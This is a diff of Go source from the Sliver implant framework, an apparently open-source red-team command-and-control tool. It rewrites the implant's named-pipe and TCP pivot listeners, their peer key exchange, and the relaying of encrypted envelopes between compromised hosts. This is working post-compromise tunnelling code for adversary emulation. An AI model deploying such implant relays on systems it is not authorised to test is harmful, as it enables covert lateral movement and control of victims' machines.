|
||||
|
||||
// {{if .Config.Debug}}
|
||||
// "log"
|
||||
"log"
|
||||
// {{end}}
|
||||
// "math/rand"
|
||||
"net"
|
||||
// "os"
|
||||
// "strings"
|
||||
// "time"
|
||||
// "github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
// "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
// "github.com/lesnuages/go-winio"
|
||||
// "google.golang.org/protobuf/proto"
|
||||
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/lesnuages/go-winio"
|
||||
)
|
||||
|
||||
func StartNamedPipeListener(pipeName string) error {
|
||||
// fullName := "\\\\.\\pipe\\" + pipeName
|
||||
// config := &winio.PipeConfig{
|
||||
// RemoteClientMode: true,
|
||||
// }
|
||||
// ln, err := winio.ListenPipe(fullName, config)
|
||||
// // {{if .Config.Debug}}
|
||||
// log.Printf("Listening on %s", fullName)
|
||||
// // {{end}}
|
||||
// if err != nil {
|
||||
// return err
|
||||
// }
|
||||
// pivotListeners = append(pivotListeners, &PivotListener{
|
||||
// Type: "named-pipe",
|
||||
// RemoteAddress: fullName,
|
||||
// })
|
||||
// go nampedPipeAcceptNewConnection(&ln)
|
||||
return nil
|
||||
// StartNamedPipePivotListener - Starts a named pipe listener
|
||||
func StartNamedPipePivotListener(address string, upstream chan<- *pb.Envelope) (*PivotListener, error) {
|
||||
fullName := "\\\\.\\pipe\\" + address
|
||||
ln, err := winio.ListenPipe(fullName, &winio.PipeConfig{
|
||||
RemoteClientMode: true,
|
||||
})
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Listening on %s", fullName)
|
||||
// {{end}}
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
pivotLn := &PivotListener{
|
||||
ID: ListenerID(),
|
||||
Type: pb.PivotType_NamedPipe,
|
||||
Listener: ln,
|
||||
Pivots: &sync.Map{},
|
||||
BindAddress: fullName,
|
||||
Upstream: upstream,
|
||||
}
|
||||
go namedPipeAcceptConnections(pivotLn)
|
||||
return pivotLn, nil
|
||||
}
|
||||
|
||||
func nampedPipeAcceptNewConnection(ln *net.Listener) {
|
||||
func namedPipeAcceptConnections(pivotListener *PivotListener) {
|
||||
// hostname, err := os.Hostname()
|
||||
// if err != nil {
|
||||
// // {{if .Config.Debug}}
|
||||
@@ -61,87 +61,23 @@ func nampedPipeAcceptNewConnection(ln *net.Listener) {
|
||||
// // {{end}}
|
||||
// hostname = "."
|
||||
// }
|
||||
// namedPipe := strings.ReplaceAll((*ln).Addr().String(), ".", hostname)
|
||||
// for {
|
||||
// conn, err := (*ln).Accept()
|
||||
// if err != nil {
|
||||
// continue
|
||||
// }
|
||||
// pivotID := rand.Uint32()
|
||||
// pivotsMap.AddPivot(pivotID, &conn, "named-pipe", namedPipe)
|
||||
// //SendPivotOpen(pivotID, "named-pipe", namedPipe)
|
||||
|
||||
// // {{if .Config.Debug}}
|
||||
// log.Println("Accepted a new connection")
|
||||
// // {{end}}
|
||||
|
||||
// // handle connection like any other net.Conn
|
||||
// go nampedPipeConnectionHandler(&conn, pivotID)
|
||||
// }
|
||||
}
|
||||
|
||||
func nampedPipeConnectionHandler(conn *net.Conn, pivotID uint32) {
|
||||
|
||||
// defer func() {
|
||||
// // {{if .Config.Debug}}
|
||||
// log.Printf("Cleaning up for pivot %d\n", pivotID)
|
||||
// // {{end}}
|
||||
// (*conn).Close()
|
||||
// pivotClose := &sliverpb.PivotClose{
|
||||
// PivotID: pivotID,
|
||||
// }
|
||||
// data, err := proto.Marshal(pivotClose)
|
||||
// if err != nil {
|
||||
// // {{if .Config.Debug}}
|
||||
// log.Println(err)
|
||||
// // {{end}}
|
||||
// return
|
||||
// }
|
||||
// connection := transports.GetActiveConnection()
|
||||
// if connection.IsOpen {
|
||||
// connection.Send <- &sliverpb.Envelope{
|
||||
// Type: sliverpb.MsgPivotClose,
|
||||
// Data: data,
|
||||
// }
|
||||
// }
|
||||
// }()
|
||||
|
||||
// for {
|
||||
// envelope, err := PivotReadEnvelope(conn)
|
||||
// if err != nil {
|
||||
// // {{if .Config.Debug}}
|
||||
// log.Println(err)
|
||||
// // {{end}}
|
||||
// return
|
||||
// }
|
||||
// dataBuf, err1 := proto.Marshal(envelope)
|
||||
// if err1 != nil {
|
||||
// // {{if .Config.Debug}}
|
||||
// log.Println(err1)
|
||||
// // {{end}}
|
||||
// return
|
||||
// }
|
||||
// pivotOpen := &sliverpb.PivotData{
|
||||
// PivotID: pivotID,
|
||||
// Data: dataBuf,
|
||||
// }
|
||||
// connection := transports.GetActiveConnection()
|
||||
// if envelope.Type == 1 {
|
||||
// SendPivotOpen(pivotID, dataBuf, connection)
|
||||
// continue
|
||||
// }
|
||||
// data2, err2 := proto.Marshal(pivotOpen)
|
||||
// if err2 != nil {
|
||||
// // {{if .Config.Debug}}
|
||||
// log.Println(err2)
|
||||
// // {{end}}
|
||||
// return
|
||||
// }
|
||||
// if connection.IsOpen {
|
||||
// connection.Send <- &sliverpb.Envelope{
|
||||
// Type: sliverpb.MsgPivotData,
|
||||
// Data: data2,
|
||||
// }
|
||||
// }
|
||||
// }
|
||||
// namedPipe := strings.ReplaceAll(pivotListener.Listener.Addr().String(), ".", hostname)
|
||||
for {
|
||||
conn, err := pivotListener.Listener.Accept()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
// handle connection like any other net.Conn
|
||||
pivotConn := &NetConnPivot{
|
||||
id: PivotID(),
|
||||
conn: conn,
|
||||
readMutex: &sync.Mutex{},
|
||||
writeMutex: &sync.Mutex{},
|
||||
readDeadline: tcpPivotReadDeadline,
|
||||
writeDeadline: tcpPivotWriteDeadline,
|
||||
upstream: pivotListener.Upstream,
|
||||
Downstream: make(chan *pb.Envelope),
|
||||
}
|
||||
go pivotConn.Start(pivotListener.Pivots)
|
||||
}
|
||||
}
|
||||
+376
-157
@@ -2,7 +2,7 @@ package pivots
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
@@ -19,203 +19,368 @@ package pivots
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/rand"
|
||||
"encoding/base64"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"net"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"net"
|
||||
"sync"
|
||||
|
||||
consts "github.com/bishopfox/sliver/implant/sliver/constants"
|
||||
"github.com/bishopfox/sliver/implant/sliver/cryptography"
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const (
|
||||
readBufSize = 1024
|
||||
writeBufSize = 1024
|
||||
readBufSize = 1024
|
||||
)
|
||||
|
||||
// pivotsMap - holds the pivots, provides atomic access
|
||||
var pivotsMap = &PivotsMap{
|
||||
Pivots: &map[uint32]*pivotsMapEntry{},
|
||||
mutex: &sync.RWMutex{},
|
||||
var (
|
||||
ErrFailedWrite = errors.New("failed to write")
|
||||
ErrFailedKeyExchange = errors.New("failed key exchange")
|
||||
|
||||
pivotListeners = &sync.Map{}
|
||||
listenerID = uint32(0)
|
||||
|
||||
PeerID = PivotID() // This implant's Peer ID, a per-execution instance ID
|
||||
)
|
||||
|
||||
// StartListener - Generic interface to a start listener function
|
||||
type StartListener func(string, chan<- *pb.Envelope) (*PivotListener, error)
|
||||
|
||||
// GetListeners - Get a list of active listeners
|
||||
func GetListeners() []*pb.PivotListener {
|
||||
listeners := []*pb.PivotListener{}
|
||||
pivotListeners.Range(func(key interface{}, value interface{}) bool {
|
||||
listener := value.(*PivotListener)
|
||||
listeners = append(listeners, listener.ToProtobuf())
|
||||
return true
|
||||
})
|
||||
return listeners
|
||||
}
|
||||
|
||||
var pivotListeners = make([]*PivotListener, 0)
|
||||
|
||||
type pivotsMapEntry struct {
|
||||
Conn *net.Conn
|
||||
PivotType string
|
||||
RemoteAddress string
|
||||
Register []byte
|
||||
// AddListener - Add a listener
|
||||
func AddListener(listener *PivotListener) {
|
||||
pivotListeners.Store(listener.ID, listener)
|
||||
}
|
||||
|
||||
// PivotsMap - struct that defines de pivots, provides atomic access
|
||||
type PivotsMap struct {
|
||||
mutex *sync.RWMutex
|
||||
Pivots *map[uint32]*pivotsMapEntry
|
||||
}
|
||||
|
||||
type PivotListener struct {
|
||||
Type string
|
||||
RemoteAddress string
|
||||
}
|
||||
|
||||
func GetListeners() []*PivotListener {
|
||||
return pivotListeners
|
||||
}
|
||||
|
||||
// Pivot - Get Pivot by ID
|
||||
func (p *PivotsMap) Pivot(pivotID uint32) *pivotsMapEntry {
|
||||
p.mutex.Lock()
|
||||
defer p.mutex.Unlock()
|
||||
return (*p.Pivots)[pivotID]
|
||||
}
|
||||
|
||||
// AddPivot - Add a pivot to the map (atomically)
|
||||
func (p *PivotsMap) AddPivot(pivotID uint32, conn *net.Conn, t, addr string) {
|
||||
p.mutex.Lock()
|
||||
defer p.mutex.Unlock()
|
||||
entry := pivotsMapEntry{
|
||||
Conn: conn,
|
||||
PivotType: t,
|
||||
RemoteAddress: addr,
|
||||
}
|
||||
(*p.Pivots)[pivotID] = &entry
|
||||
}
|
||||
|
||||
// RemovePivot - Add a pivot to the map (atomically)
|
||||
func (p *PivotsMap) RemovePivot(pivotID uint32) {
|
||||
p.mutex.Lock()
|
||||
defer p.mutex.Unlock()
|
||||
delete((*p.Pivots), pivotID)
|
||||
}
|
||||
|
||||
func Pivot(pivotID uint32) *net.Conn {
|
||||
return pivotsMap.Pivot(pivotID).Conn
|
||||
}
|
||||
|
||||
// ReconnectActivePivots - Send a new PivotOpen message back to the server for each alive pivot
|
||||
func ReconnectActivePivots(connection *transports.Connection) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("Reconnecting active pivots...")
|
||||
// {{end}}
|
||||
for k, v := range *pivotsMap.Pivots {
|
||||
SendPivotOpen(k, (*v).Register, connection)
|
||||
// StopListener - Stop a pivot listener
|
||||
func StopListener(id uint32) {
|
||||
if listener, ok := pivotListeners.Load(id); ok {
|
||||
listener.(*PivotListener).Stop()
|
||||
}
|
||||
}
|
||||
|
||||
// SendPivotOpen - Sends a PivotOpen message back to the server
|
||||
func SendPivotOpen(pivotID uint32, registerMsg []byte, connection *transports.Connection) {
|
||||
// pivotsMap.Pivot(pivotID).Register = registerMsg
|
||||
// pivot := pivotsMap.Pivot(pivotID)
|
||||
// pivotOpen := &sliverpb.PivotOpen{
|
||||
// PivotID: pivotID,
|
||||
// PivotType: pivot.PivotType,
|
||||
// RemoteAddress: pivot.RemoteAddress,
|
||||
// RegisterMsg: registerMsg,
|
||||
// }
|
||||
// data, err := proto.Marshal(pivotOpen)
|
||||
// if err != nil {
|
||||
// // {{if .Config.Debug}}
|
||||
// log.Println(err)
|
||||
// // {{end}}
|
||||
// return
|
||||
// }
|
||||
// // W T F!!!!!
|
||||
// if connection.IsOpen {
|
||||
// connection.Send <- &sliverpb.Envelope{
|
||||
// Type: sliverpb.MsgPivotOpen,
|
||||
// Data: data,
|
||||
// }
|
||||
// } else {
|
||||
// // {{if .Config.Debug}}
|
||||
// log.Println("Connection is not open...")
|
||||
// // {{end}}
|
||||
// }
|
||||
}
|
||||
|
||||
// SendPivotClose - Sends a PivotClose message back to the server
|
||||
func SendPivotClose(pivotID uint32, err error, connection *transports.Connection) {
|
||||
pivotClose := &sliverpb.PivotClose{
|
||||
PivotID: pivotID,
|
||||
Err: err.Error(),
|
||||
}
|
||||
data, err := proto.Marshal(pivotClose)
|
||||
// SendToPeer - Forward an envelope to a peer
|
||||
func SendToPeer(envelope *pb.Envelope) bool {
|
||||
peerEnvelope := &pb.PivotPeerEnvelope{}
|
||||
err := proto.Unmarshal(envelope.Data, peerEnvelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println(err)
|
||||
log.Printf("Failed to unmarshal peer envelope: %s", err)
|
||||
// {{end}}
|
||||
return false
|
||||
}
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Peer Envelope: %v", peerEnvelope)
|
||||
log.Printf("Send to downstream pivot id: %d", peerEnvelope.PivotID)
|
||||
// {{end}}
|
||||
|
||||
downstreamEnvelope := &pb.Envelope{
|
||||
Type: pb.MsgPivotPeerEnvelope,
|
||||
Data: peerEnvelope.Data,
|
||||
}
|
||||
err = proto.Unmarshal(peerEnvelope.Data, downstreamEnvelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Failed to unmarshal downstream envelope: %s", err)
|
||||
// {{end}}
|
||||
return false
|
||||
}
|
||||
|
||||
// NOTE: Yes linear search is bad, but there should be a very small
|
||||
// number of listeners and pivots so it should be fine
|
||||
sent := false // Controls iteration of outer loop
|
||||
pivotListeners.Range(func(key interface{}, value interface{}) bool {
|
||||
listener := value.(*PivotListener)
|
||||
listener.Pivots.Range(func(key interface{}, value interface{}) bool {
|
||||
pivot := value.(*NetConnPivot)
|
||||
if pivot.ID() == peerEnvelope.PivotID {
|
||||
pivot.Downstream <- downstreamEnvelope
|
||||
sent = true // break from the outer loop
|
||||
return false // stop iterating inner loop
|
||||
}
|
||||
return true // keep iterating inner loop
|
||||
})
|
||||
return !sent // keep iterating while not sent
|
||||
})
|
||||
// {{if .Config.Debug}}
|
||||
if !sent {
|
||||
log.Printf("Failed to find pivot with id %d", peerEnvelope.PivotID)
|
||||
}
|
||||
// {{end}}
|
||||
return sent
|
||||
}
|
||||
|
||||
// PivotListener - A pivot listener
|
||||
type PivotListener struct {
|
||||
ID uint32
|
||||
Type pb.PivotType
|
||||
Listener net.Listener
|
||||
Pivots *sync.Map // ID -> NetConnPivot
|
||||
BindAddress string
|
||||
Upstream chan<- *pb.Envelope
|
||||
}
|
||||
|
||||
// ToProtobuf - Get the protobuf version of the pivot listener
|
||||
func (l *PivotListener) ToProtobuf() *pb.PivotListener {
|
||||
pivotPeers := []*pb.PivotPeer{}
|
||||
l.Pivots.Range(func(key interface{}, value interface{}) bool {
|
||||
pivot := value.(*NetConnPivot)
|
||||
pivotPeers = append(pivotPeers, pivot.ToProtobuf())
|
||||
return true
|
||||
})
|
||||
return &pb.PivotListener{
|
||||
ID: l.ID,
|
||||
Type: l.Type,
|
||||
BindAddress: l.BindAddress,
|
||||
Pivots: pivotPeers,
|
||||
}
|
||||
}
|
||||
|
||||
// Stop - Stop the pivot listener
|
||||
func (l *PivotListener) Stop() {
|
||||
// Close all peer connections before closing listener
|
||||
l.Pivots.Range(func(key interface{}, value interface{}) bool {
|
||||
value.(*NetConnPivot).Close()
|
||||
return true
|
||||
})
|
||||
l.Pivots = nil
|
||||
l.Listener.Close()
|
||||
}
|
||||
|
||||
// PivotClose - Close a pivot connection
|
||||
func (l *PivotListener) PivotClose(id int64) {
|
||||
if p, ok := l.Pivots.Load(id); ok {
|
||||
l.Pivots.Delete(id)
|
||||
p.(*NetConnPivot).Close()
|
||||
}
|
||||
}
|
||||
|
||||
// ListenerID - Generate a new pivot id
|
||||
func ListenerID() uint32 {
|
||||
listenerID++
|
||||
return listenerID
|
||||
}
|
||||
|
||||
// PivotID - Generate a new pivot id
|
||||
func PivotID() int64 {
|
||||
buf := make([]byte, 8)
|
||||
rand.Read(buf)
|
||||
return int64(binary.LittleEndian.Uint64(buf))
|
||||
}
|
||||
|
||||
// NetConnPivot - A generic pivot connection to a peer via net.Conn
|
||||
type NetConnPivot struct {
|
||||
id int64
|
||||
conn net.Conn
|
||||
readMutex *sync.Mutex
|
||||
writeMutex *sync.Mutex
|
||||
cipherCtx *cryptography.CipherContext
|
||||
readDeadline time.Duration
|
||||
writeDeadline time.Duration
|
||||
|
||||
upstream chan<- *pb.Envelope
|
||||
Downstream chan *pb.Envelope
|
||||
}
|
||||
|
||||
// ID - ID of peer pivot
|
||||
func (p *NetConnPivot) ID() int64 {
|
||||
return p.id
|
||||
}
|
||||
|
||||
// ToProtobuf - Protobuf of pivot peer
|
||||
func (p *NetConnPivot) ToProtobuf() *pb.PivotPeer {
|
||||
return &pb.PivotPeer{
|
||||
ID: p.id,
|
||||
RemoteAddress: p.RemoteAddress(),
|
||||
}
|
||||
}
|
||||
|
||||
// Start - Starts the TCP pivot connection handler
|
||||
func (p *NetConnPivot) Start(pivots *sync.Map) {
|
||||
defer p.conn.Close()
|
||||
err := p.peerKeyExchange()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
connection.Send <- &sliverpb.Envelope{
|
||||
Type: sliverpb.MsgPivotClose,
|
||||
Data: data,
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] peer key exchange completed successfully")
|
||||
// {{end}}
|
||||
|
||||
// We don't want to register the peer prior to the key exchange
|
||||
// Add & remove self from listener pivots map
|
||||
pivots.Store(p.ID(), p)
|
||||
defer pivots.Delete(p.ID())
|
||||
|
||||
go func() {
|
||||
defer close(p.Downstream)
|
||||
for {
|
||||
envelope, err := p.readEnvelope()
|
||||
if err != nil {
|
||||
return // Will return when connection is closed
|
||||
}
|
||||
if envelope.Type == pb.MsgPivotPeerPing {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] received peer ping, sending peer pong ...")
|
||||
// {{end}}
|
||||
p.Downstream <- &pb.Envelope{
|
||||
Type: pb.MsgPivotPeerPing,
|
||||
Data: envelope.Data,
|
||||
}
|
||||
} else {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] received peer envelope, upstreaming (%d) ...", envelope.Type)
|
||||
// {{end}}
|
||||
envelopeData, _ := proto.Marshal(envelope)
|
||||
data, _ := proto.Marshal(&pb.PivotPeerEnvelope{
|
||||
PeerID: PeerID, // This proccess' Peer ID
|
||||
PivotID: p.ID(), // The Pivot connection ID
|
||||
Name: consts.SliverName,
|
||||
Data: envelopeData,
|
||||
})
|
||||
p.upstream <- &pb.Envelope{
|
||||
ID: 0, // Pivot server implementation uses handlers, so ID must be zero
|
||||
Type: pb.MsgPivotPeerEnvelope,
|
||||
Data: data,
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
for envelope := range p.Downstream {
|
||||
err := p.writeEnvelope(envelope)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// PivotWriteEnvelope - Writes a protobuf envelope to a generic connection
|
||||
func PivotWriteEnvelope(cipherCtx *cryptography.CipherContext, conn *net.Conn, envelope *sliverpb.Envelope) error {
|
||||
data, err := proto.Marshal(envelope)
|
||||
// peerKeyExchange - Exchange session key with peer, it's important that we DO NOT write
|
||||
// anything to the socket before we've validated the peer's key is properly signed.
|
||||
func (p *NetConnPivot) peerKeyExchange() error {
|
||||
p.conn.SetReadDeadline(time.Now().Add(tcpPivotReadDeadline))
|
||||
peerHelloRaw, err := p.read()
|
||||
p.conn.SetReadDeadline(time.Time{})
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Print("Envelope marshaling error: ", err)
|
||||
log.Printf("[pivot] peer read failure: %s", err)
|
||||
// {{end}}
|
||||
return ErrFailedKeyExchange
|
||||
}
|
||||
peerHello := &pb.PivotHello{}
|
||||
err = proto.Unmarshal(peerHelloRaw, peerHello)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] unmarshal failure: %s", err)
|
||||
// {{end}}
|
||||
return ErrFailedKeyExchange
|
||||
}
|
||||
validPeer := cryptography.MinisignVerify(peerHello.PublicKey, peerHello.PublicKeySignature)
|
||||
if !validPeer {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] invalid peer key")
|
||||
// {{end}}
|
||||
return ErrFailedKeyExchange
|
||||
}
|
||||
sessionKey := cryptography.RandomKey()
|
||||
p.cipherCtx = cryptography.NewCipherContext(sessionKey)
|
||||
ciphertext, err := cryptography.ECCEncryptToPeer(peerHello.PublicKey, peerHello.PublicKeySignature, sessionKey[:])
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] peer encryption failure: %s", err)
|
||||
// {{end}}
|
||||
return ErrFailedKeyExchange
|
||||
}
|
||||
publicKeyRaw, _ := base64.RawStdEncoding.DecodeString(cryptography.ECCPublicKey)
|
||||
peerResponse, _ := proto.Marshal(&pb.PivotHello{
|
||||
PublicKey: publicKeyRaw,
|
||||
PublicKeySignature: cryptography.ECCPublicKeySignature,
|
||||
SessionKey: ciphertext,
|
||||
})
|
||||
p.conn.SetWriteDeadline(time.Now().Add(tcpPivotWriteDeadline))
|
||||
err = p.write(peerResponse)
|
||||
p.conn.SetWriteDeadline(time.Time{})
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] peer write failure: %s", err)
|
||||
// {{end}}
|
||||
return ErrFailedKeyExchange
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// write - Write a message to the TCP pivot with a length prefix
|
||||
// it's unlikely we can't write the 4-byte length prefix in one write
|
||||
// so we fail if we can't, messages may be much longer so we try to
|
||||
// drain the message buffer if we didn't complete the write
|
||||
func (p *NetConnPivot) write(message []byte) error {
|
||||
p.writeMutex.Lock()
|
||||
defer p.writeMutex.Unlock()
|
||||
n, err := p.conn.Write(p.lengthOf(message))
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Error writing message length: %v", err)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
data, err = cipherCtx.Encrypt(data)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
dataLengthBuf := new(bytes.Buffer)
|
||||
binary.Write(dataLengthBuf, binary.LittleEndian, uint32(len(data)))
|
||||
_, err = (*conn).Write(dataLengthBuf.Bytes())
|
||||
if err != nil {
|
||||
if n != 4 {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("pivots.PivotWriteEnvelope error %v and %d\n", err, dataLengthBuf)
|
||||
log.Printf("[pivot] Error writing message length: %v", err)
|
||||
// {{end}}
|
||||
return ErrFailedWrite
|
||||
}
|
||||
totalWritten := 0
|
||||
for totalWritten < len(data)-writeBufSize {
|
||||
n, err2 := (*conn).Write(data[totalWritten : totalWritten+writeBufSize])
|
||||
totalWritten += n
|
||||
if err2 != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("pivots.PivotWriteEnvelope error %v\n", err)
|
||||
// {{end}}
|
||||
}
|
||||
}
|
||||
if totalWritten < len(data) {
|
||||
missing := len(data) - totalWritten
|
||||
_, err := (*conn).Write(data[totalWritten : totalWritten+missing])
|
||||
|
||||
total := 0
|
||||
for total < len(message) {
|
||||
n, err = p.conn.Write(message[total:])
|
||||
total += n
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("pivots.PivotWriteEnvelope error %v\n", err)
|
||||
log.Printf("[pivot] Error writing message: %v", err)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// PivotReadEnvelope - Reads a protobuf envelope from a generic connection
|
||||
func PivotReadEnvelope(cipherCtx *cryptography.CipherContext, conn net.Conn) (*sliverpb.Envelope, error) {
|
||||
func (p *NetConnPivot) read() ([]byte, error) {
|
||||
p.readMutex.Lock()
|
||||
defer p.readMutex.Unlock()
|
||||
dataLengthBuf := make([]byte, 4)
|
||||
_, err := conn.Read(dataLengthBuf)
|
||||
if err != nil {
|
||||
n, err := p.conn.Read(dataLengthBuf)
|
||||
if err != nil || n != 4 {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("pivots.PivotReadEnvelope error (read msg-length): %v\n", err)
|
||||
log.Printf("[pivot] Error (read msg-length): %v\n", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
|
||||
dataLength := int(binary.LittleEndian.Uint32(dataLengthBuf))
|
||||
readBuf := make([]byte, readBufSize)
|
||||
dataBuf := make([]byte, 0)
|
||||
dataBuf := []byte{}
|
||||
totalRead := 0
|
||||
for {
|
||||
n, err := conn.Read(readBuf)
|
||||
n, err := p.conn.Read(readBuf)
|
||||
dataBuf = append(dataBuf, readBuf[:n]...)
|
||||
totalRead += n
|
||||
if totalRead == dataLength {
|
||||
@@ -223,22 +388,76 @@ func PivotReadEnvelope(cipherCtx *cryptography.CipherContext, conn net.Conn) (*s
|
||||
}
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Read error: %s\n", err)
|
||||
log.Printf("[pivot] read error: %s\n", err)
|
||||
// {{end}}
|
||||
break
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
dataBuf, err = cipherCtx.Decrypt(dataBuf)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
envelope := &sliverpb.Envelope{}
|
||||
err = proto.Unmarshal(dataBuf, envelope)
|
||||
return dataBuf, err
|
||||
}
|
||||
|
||||
func (p *NetConnPivot) lengthOf(message []byte) []byte {
|
||||
dataLengthBuf := new(bytes.Buffer)
|
||||
binary.Write(dataLengthBuf, binary.LittleEndian, uint32(len(message)))
|
||||
return dataLengthBuf.Bytes()
|
||||
}
|
||||
|
||||
// writeEnvelope - Write a complete envelope
|
||||
func (p *NetConnPivot) writeEnvelope(envelope *pb.Envelope) error {
|
||||
data, err := proto.Marshal(envelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Unmarshal envelope error: %v", err)
|
||||
log.Printf("[pivot] Marshaling error: %s", err)
|
||||
// {{end}}
|
||||
return &sliverpb.Envelope{}, err
|
||||
return err
|
||||
}
|
||||
data, err = p.cipherCtx.Encrypt(data)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Encryption error: %s", err)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
return p.write(data)
|
||||
}
|
||||
|
||||
// readEnvelope - Read a complete envelope
|
||||
func (p *NetConnPivot) readEnvelope() (*pb.Envelope, error) {
|
||||
data, err := p.read()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Error reading message: %v", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
data, err = p.cipherCtx.Decrypt(data)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Decryption error: %s", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
envelope := &pb.Envelope{}
|
||||
err = proto.Unmarshal(data, envelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Unmarshal envelope error: %v", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
return envelope, nil
|
||||
}
|
||||
|
||||
// RemoteAddress - Remote address of peer
|
||||
func (p *NetConnPivot) RemoteAddress() string {
|
||||
remoteAddr := p.conn.RemoteAddr()
|
||||
if remoteAddr != nil {
|
||||
return remoteAddr.String()
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// Close - Close connection to peer
|
||||
func (p *NetConnPivot) Close() error {
|
||||
return p.conn.Close()
|
||||
}
|
||||
@@ -0,0 +1,29 @@
|
||||
//go:build !windows
|
||||
|
||||
package pivots
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
var SupportedPivotListeners = map[pb.PivotType]StartListener{
|
||||
pb.PivotType_TCP: StartTCPPivotListener,
|
||||
}
|
||||
@@ -0,0 +1,28 @@
|
||||
package pivots
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
var SupportedPivotListeners = map[pb.PivotType]StartListener{
|
||||
pb.PivotType_TCP: StartTCPPivotListener,
|
||||
pb.PivotType_NamedPipe: StartNamedPipePivotListener,
|
||||
}
|
||||
+40
-128
@@ -19,154 +19,66 @@ package pivots
|
||||
*/
|
||||
|
||||
import (
|
||||
"net"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
